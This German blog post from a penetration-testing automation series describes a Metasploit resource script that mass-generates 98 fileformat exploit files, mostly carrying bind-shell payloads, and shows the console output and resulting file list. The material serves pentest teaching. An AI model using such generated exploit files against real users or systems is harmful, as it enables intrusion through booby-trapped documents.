Automatisierung im Rahmen eines Pentests - part 7 (fileformat generator)
- in a nutshell:
Der mittlerweile siebte Teil meiner kleinen Automatisierungsserie. Dieses Mal geht es um die automatische Erstellung von Fileformat Exploits.
Bis vor kurzem hatte Metasploit ein Auxiliary Modul mit dem Namen file_autopwn. Dieses wurde mittlerweile aus dem Framework entfernt. Da speziell für Clienttests solche Format Exploits häufig benötigt werden und es nicht sehr lustig ist diese alle manuell auf der Kommandozeile zu erstellen, habe ich ein kleines Resource File erstellt. Dieses Resource File geht alle Fileformat Exploits durch und erstellt entsprechende Files. Mit den globalen Optionen WIN_PAYL, OSX_PAYL und MULTI_PAYL ist es möglich den zu nutzenden Payload zu konfigurieren. Die Grundeinstellung verwendet für Windows Files einen Messagebox Payload und für alle anderen einen Bind Payload. Zudem lässt sich mit der Option "setg HANDLERS true" einstellen ob ein Multi-Handler gestartet werden soll.
10.8.28.249 - (Sessions: 0 - Jobs: 0)> resource fileformat_generator.rc
[*] Processing /opt/metasploit-4.2.0/apps/pro/msf3/scripts/resource/fileformat_generator.rc for ERB directives.
[*] resource (/opt/metasploit-4.2.0/apps/pro/msf3/scripts/resource/fileformat_generator.rc)> Ruby Code (2885 bytes)
generating fileformat exploit: multi/fileformat/adobe_u3d_meshcont
PAYLOAD => generic/shell_bind_tcp
FILENAME => adobe_u3d_meshcont._pdf
[*] [2012.03.08-08:43:55] Creating 'adobe_u3d_meshcont._pdf' file...
[+] [2012.03.08-08:43:55] adobe_u3d_meshcont._pdf stored at /root/.msf4/local/adobe_u3d_meshcont._pdf
generating fileformat exploit: multi/fileformat/maple_maplet
PAYLOAD => generic/shell_bind_tcp
FILENAME => maple_maplet.maplet
[*] [2012.03.08-08:43:56] Creating 'maple_maplet.maplet' file...
[+] [2012.03.08-08:43:56] maple_maplet.maplet stored at /root/.msf4/local/maple_maplet.maplet
generating fileformat exploit: multi/fileformat/peazip_command_injection
PAYLOAD => generic/shell_bind_tcp
FILENAME => peazip_command_injection.zip
[*] [2012.03.08-08:43:56] Creating 'peazip_command_injection.zip' file...
[+] [2012.03.08-08:43:56] peazip_command_injection.zip stored at /root/.msf4/local/peazip_command_injection.zip
<snip>
Nachdem unser Resourc Skript durchgelaufen ist, finden sich alle unsere Fileformat Exploits zur weiteren Verwendung im Verzeichnis /root/.msf4/local
root@bt:~# ls /root/.msf4/local/
<snip>
aol_phobos_bof.html mymp3player_m3u.m3u
a-_pdf_wav_to_mp3.wav nuance__pdf_launch_overflow._pdf
apple_quicktime_pnsize.mov orbital_viewer_orb.orb
audiotran_pls.pls peazip_command_injection.zip
audio_wkstn_pls.pls proshow_cellimage_bof.psh
aviosoft_plf_buf.plf real_networks_netzip_bof.zip
bacnet_csv.csv safenet_softremote_groupname.spd
blazedvd_plf.plf sascam_get.html
bsplayer_m3u.m3u scadaphone_zip.zip
cain_abel_4918_rdp.rdp somplplayer_m3u.m3u
ccmplayer_m3u_bof.m3u subtitle_processor_m3u_bof.m3u
cytel_studio_cy3.cy3 tugzip.zip
deepburner_path.dbr ultraiso_ccd.ccd
destinymediaplayer16.m3u ultraiso_cue.cue
<snip>
root@bt:~# ls -l /root/.msf4/local/ | wc -l
98
98 Exploits in wenigen Minuten erstellt ... so rockt das :)
Falls ihr weitere Informationen zu Metasploit benötigt findet ihr diese in meinem Buch. Erste Probekapitel findet ihr zudem auf der dpunkt-Webseite. Das Buch lässt sich natürlich auf Amazon bestellen.
have phun,
mIke
Recent comments
5 years 33 weeks ago
6 years 43 weeks ago
7 years 4 weeks ago
7 years 5 weeks ago
7 years 5 weeks ago
7 years 16 weeks ago
7 years 26 weeks ago
7 years 28 weeks ago
7 years 33 weeks ago
7 years 33 weeks ago